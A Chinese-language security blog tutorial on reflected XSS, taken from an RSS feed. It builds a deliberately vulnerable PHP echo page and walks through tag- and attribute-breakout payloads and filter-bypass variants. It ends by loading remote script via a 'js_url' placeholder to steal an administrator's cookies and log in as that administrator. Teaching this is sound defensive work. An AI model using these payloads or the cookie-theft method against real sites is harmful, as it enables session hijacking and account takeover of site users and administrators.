</content:encoded><category>web security</category><category>csrf</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>XSS 的原理分析与解剖</title><link>https://bugs.cc/zh/posts/principle-analysis-and-anatomy-of-xss/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/principle-analysis-and-anatomy-of-xss/</guid><description>XSS 原理分析第一章</description><pubDate>Mon, 30 May 2016 03:27:07 GMT</pubDate><content:encoded>&lt;h2&gt;0×01 前言: {#intro}&lt;/h2&gt;
&lt;p&gt;《xss 攻击手法》一开始在互联网上资料并不多 (都是现成的代码，没有从基础的开始)，直到刺的《白帽子讲 WEB 安全》和 cn4rry 的《XSS 跨站脚本攻击剖析与防御》才开始好转。&lt;/p&gt;
&lt;p&gt;我这里就不说什么 xss 的历史什么东西了，xss 是一门又热门又不太受重视的 Web 攻击手法，为什么会这样呢，原因有下:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;耗时间&lt;/li&gt;
&lt;li&gt;有一定几率不成功&lt;/li&gt;
&lt;li&gt;没有相应的软件来完成自动化攻击&lt;/li&gt;
&lt;li&gt;前期需要基本的 html、js 功底，后期需要扎实的 html、js、actionscript2/3.0 等语言的功底&lt;/li&gt;
&lt;li&gt;是一种被动的攻击手法&lt;/li&gt;
&lt;li&gt;对 website 有 http-only、crossdomian.xml 没有用&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;但是这些并没有影响黑客对此漏洞的偏爱，原因不需要多，只需要一个“XSS 几乎每个网站都存在，google、baidu、360 等都存在。”&lt;/p&gt;
&lt;h2&gt;0x02 原理: {#how-it-works}&lt;/h2&gt;
&lt;p&gt;首先我们现在本地搭建个 PHP 环境 (可以使用 phpstudy 安装包安装)，然后在 index.php 文件里写入如下代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;html&amp;gt;
    &amp;lt;head&amp;gt;
        &amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&amp;gt;
        &amp;lt;title&amp;gt;XSS原理重现&amp;lt;/title&amp;gt;
    &amp;lt;/head&amp;gt;
    &amp;lt;body&amp;gt;
        &amp;lt;form action=&quot;&quot; method=&quot;get&quot;&amp;gt;
            &amp;lt;input type=&quot;text&quot; name=&quot;xss_input&quot;&amp;gt;
            &amp;lt;input type=&quot;submit&quot;&amp;gt;
        &amp;lt;/form&amp;gt;
        &amp;lt;hr&amp;gt;
        &amp;lt;?php
        $xss = $_GET[&apos;xss_input&apos;];
        echo &apos;你输入的字符为&amp;lt;br&amp;gt;&apos;.$xss;
        ?&amp;gt;
    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后，你会在页面看到这样的页面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/echo-form-empty.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我们试着输入 abcd123，得到的结果为&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/echo-abcd123.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我们在看看源代码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/source-echo-abcd123.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我们输入的字符串被原封不动的输出来了，那这里我们提出来一个假设，假设我们在搜索框输入 &lt;code&gt;&amp;lt;script&amp;gt;alert(&apos;xss&apos;)&amp;lt;/script&amp;gt;&lt;/code&gt; 会出现什么呢？如果按照上面的例子来说，它应该存在第 12 行的 &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; 与 &lt;code&gt;&amp;lt;/boby&amp;gt;&lt;/code&gt; 之间，变成 &lt;code&gt;&amp;lt;br&amp;gt;&amp;lt;script&amp;gt;alert(&apos;xss&apos;)&amp;lt;/script&amp;gt;&amp;lt;/boby&amp;gt;&lt;/code&gt;，那应该会弹出对话框。&lt;/p&gt;
&lt;p&gt;既然假设提出来，那我们来实现下这个假设成不成立吧。&lt;/p&gt;
&lt;p&gt;我们输入 &lt;code&gt;&amp;lt;script&amp;gt;alert(&apos;xss&apos;)&amp;lt;/script&amp;gt;&lt;/code&gt;，得到的页面为&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/script-alert-popup.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;成功弹窗，这个时候基本上就可以确定存在 xss 漏洞。&lt;/p&gt;
&lt;p&gt;我们在看看源代码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/source-script-in-body.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;看来，我们的假设成功了，这节就说说 XSS 的原理，下面几节说说 xss 的构造和利用&lt;/p&gt;
&lt;h2&gt;0×03 xss 利用输出的环境来构造代码: {#output-context}&lt;/h2&gt;
&lt;p&gt;上节说了 xss 的原理，但是我们的输出点不一在 &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; 和 &lt;code&gt;&amp;lt;/boby&amp;gt;&lt;/code&gt; 里，可以出现在 html 标签的属性里，或者其他标签里面。所以这节很重要，因为不一定 当你输入&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert(&apos;xss&apos;)&amp;lt;/script&amp;gt;&lt;/code&gt; 就会弹窗。&lt;/p&gt;
&lt;p&gt;先贴出代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;html&amp;gt;
    &amp;lt;head&amp;gt;
        &amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&amp;gt;
        &amp;lt;title&amp;gt;XSS利用输出的环境来构造代码&amp;lt;/title&amp;gt;
    &amp;lt;/head&amp;gt;
    &amp;lt;body&amp;gt;
        &amp;lt;center&amp;gt;
            &amp;lt;h6&amp;gt;把我们输入的字符串 输出到input里的value属性里&amp;lt;/h6&amp;gt;
            &amp;lt;form action=&quot;&quot; method=&quot;get&quot;&amp;gt;
                &amp;lt;h6&amp;gt;请输入你想显现的字符串&amp;lt;/h6&amp;gt;
                &amp;lt;input type=&quot;text&quot; name=&quot;xss_input_value&quot; value=&quot;输入&quot;&amp;gt;&amp;lt;br&amp;gt;
                &amp;lt;input type=&quot;submit&quot;&amp;gt;
            &amp;lt;/form&amp;gt;
            &amp;lt;hr&amp;gt;
            &amp;lt;?php
            $xss = $_GET[&apos;xss_input_value&apos;];
            if(isset($xss)){
                echo &apos;&amp;lt;input type=&quot;text&quot; value=&quot;&apos;.$xss.&apos;&quot;&amp;gt;&apos;;
            }else{
                echo &apos;&amp;lt;input type=&quot;type&quot; value=&quot;输出&quot;&amp;gt;&apos;;
            }
            ?&amp;gt;
        &amp;lt;/center&amp;gt;
    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下面是代码的页面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/value-attr-form.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这段代码的作用是把第一个输入框的字符串，输出到第二个输入框，我们输入 1，那么第二个 input 里的 value 值就是 1，下面是页面的截图和源代码的截图 (这里我输入 &lt;code&gt;&amp;lt;script&amp;gt;alert(&apos;xss&apos;)&amp;lt;/script&amp;gt;&lt;/code&gt; 来测试)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/value-attr-script-typed.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/value-attr-no-popup.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;明显的可以看到，并没有弹出对话框，大家可能会疑惑为什么没有弹窗呢，我们来看看源代码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/source-script-in-value.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我们看到我们输入的字符串被输出到第 15 行 input 标签里的 value 属性里面，被当成 value 里的值来显现出来，所以并没有弹窗，这时候我们该怎么办呢？聪明的人已经发现了可以在 &lt;code&gt;&amp;lt;script&amp;gt;alert(&apos;xss&apos;)&amp;lt;/script&amp;gt;&lt;/code&gt; 前面加个&lt;code&gt;&quot;&amp;gt;&lt;/code&gt;来闭合 input 标签。所以应该得到的结果为&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/quote-breakout-popup.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;成功弹窗了，我们在看看这时的页面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/quote-breakout-leftover.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;看到后面有第二个 input 输入框后面跟有”&amp;gt;字符串，为什么会这样呢，我们来看看源代码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/source-quote-breakout.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这时可以看到我们构造的代码里面有两个&lt;code&gt;&quot;&amp;gt;&lt;/code&gt;，第一个”&amp;gt;是为了闭合 input 标签，所以第二个&lt;code&gt;&quot;&amp;gt;&lt;/code&gt;就被抛弃了，因为 html 的容错性高，所以并没有像 php 那样出现错误，而是直接把多余的字符串来输出了，有的人是个完美主义者，不喜欢有多余的字符串被输出，这时该怎么办呢？&lt;/p&gt;
&lt;p&gt;这里我问大家一个问题，我之前说的 xss 代码里，为什么全是带有标签的。难道就不能不带标签么？！答: 当然可以。既然可以不用标签，那我们就用标签里的属性来构造 XSS，这样的话，xss 代码又少，又不会有多余的字符串被输出来。&lt;/p&gt;
&lt;p&gt;还是这个环境，但是不能使用标签，你应该怎么做。想想 input 里有什么属性可以调用 js，html 学的好的人，应该知道了，on 事件，对的。我们可以用 on 事件来进行弹窗，比如这个 xss 代码 我们可以写成 &lt;code&gt;&quot; onclick=&quot;alert(&apos;xss&apos;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这时，我们在来试试，页面会发生什么样的变化吧。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/onclick-attr-typed.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;没有看到弹窗啊，失败了么？答案当然是错误的，因为 onclick 是鼠标点击事件，也就是说当你的鼠标点击第二个 input 输入框的时候，就会触发 onclick 事件，然后执行 &lt;code&gt;alert(&apos;xss&apos;)&lt;/code&gt; 代码。我们来试试看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/onclick-alert-popup.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;当我点击后，就出现了弹窗，这时我们来看看源代码把&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/source-onclick-attr.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;第 15 行，value 值为空，当鼠标点击时，就会弹出对话框。这里可能就会有人问了，如果要点击才会触发，那不是很麻烦么，成功率不就又下降了么。我来帮你解答这个问题，on 事件不止 onclick 这一个，还有很多，如果你想不需要用户完成什么动作就可以触发的话，i 可以把 onclick 改成&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;onmousemove 当鼠标移动就触发&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;onload 当页面加载完成后触发&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;还有很多，我这里就不一一说明了，有兴趣的朋友可以自行查询下。&lt;/p&gt;
&lt;p&gt;别以为就这样结束了，还有一类环境不能用上述的方法，&lt;/p&gt;
&lt;p&gt;那就是如果在 &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt; 标签里呢？！或者其他优先级比 script 高的呢？&lt;/p&gt;
&lt;p&gt;就下面这样&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/textarea-context.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这时我们该怎么办呢？既然前面都说了闭合属性和闭合标签了，那能不能闭合完整的标签呢，答案是肯定的。我们可以输入 &lt;code&gt;&amp;lt;/textarea&amp;gt;&amp;lt;script&amp;gt;alert(&apos;xss&apos;)&amp;lt;/script&amp;gt;&lt;/code&gt; 就可以实现弹窗了。&lt;/p&gt;
&lt;h2&gt;0×04 过滤的解决办法: {#bypass-filter}&lt;/h2&gt;
&lt;p&gt;假如说网站禁止过滤了 script 这时该怎么办呢，记住一句话，这是我总结出来的“xss 就是在页面执行你想要的 js”不用管那么多，只要能运行我们的 js 就 OK，比如用 img 标签或者 a 标签。我们可以这样写&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;img scr=1 onerror=alert(&apos;xss&apos;)&amp;gt; 当找不到图片名为1的文件时，执行alert(&apos;xss&apos;)
&amp;lt;a href=javascrip:alert(&apos;xss&apos;)&amp;gt;s&amp;lt;/a&amp;gt; 点击s时运行alert(&apos;xss&apos;)
&amp;lt;iframe src=javascript:alert(&apos;xss&apos;);height=0 width=0 /&amp;gt;&amp;lt;iframe&amp;gt; 利用iframe的scr来弹窗
&amp;lt;img src=&quot;1&quot; onerror=eval(&quot;\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29&quot;)&amp;gt;&amp;lt;/img&amp;gt; 过滤了alert来执行弹窗
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;等等有很多的方法，不要把思想总局限于一种上面，记住一句话“xss 就是在页面执行你想要的 js”其他的管他去。(当然有的时候还要管他…)&lt;/p&gt;
&lt;h2&gt;0×05 xss 的利用: {#exploitation}&lt;/h2&gt;
&lt;p&gt;说了那么多，大家可能都以为 xss 就是弹窗，其实错了，弹窗只是测试 xss 的存在性和使用性。&lt;/p&gt;
&lt;p&gt;这时我们要插入 js 代码了，怎么插呢？&lt;/p&gt;
&lt;p&gt;你可以这样&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;script scr=&quot;js_url&quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也可以这样&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;img src=x onerror=appendChild(createElement(&apos;script&apos;)).src=&apos;js_url&apos; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;各种姿势，各种插，只要鞥运行我们的 js 就 OK。那运行我们的 js 有什么用呢？&lt;/p&gt;
&lt;p&gt;Js 可以干很多的事，可以获取 cookies(对 http-only 没用)、控制用户的动作 (发帖、私信什么的) 等等。&lt;/p&gt;
&lt;p&gt;比如我们在网站的留言区输入 &lt;code&gt;&amp;lt;script scr=&quot;js_url&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt; 当管理员进后台浏览留言的时候，就会触发，然后管理员的 cookies 和后台地址还有管理员浏览器版本等等你都可以获取到了，再用“桂林老兵 cookie 欺骗工具”来更改你的 cookies，就可以不用输入账号 密码 验证码 就可以以管理员的方式来进行登录了。&lt;/p&gt;
&lt;p&gt;至于不会 js 的怎么写 js 代码呢，放心网上有很多 xss 平台，百度一下就可以看到了。页面是傻瓜式的操作，这里就不再过多的说明了。&lt;/p&gt;
</content:encoded><category>web security</category><category>xss</category><author>bh@bugs.cc (Kevin Cui)</author></item></channel></rss>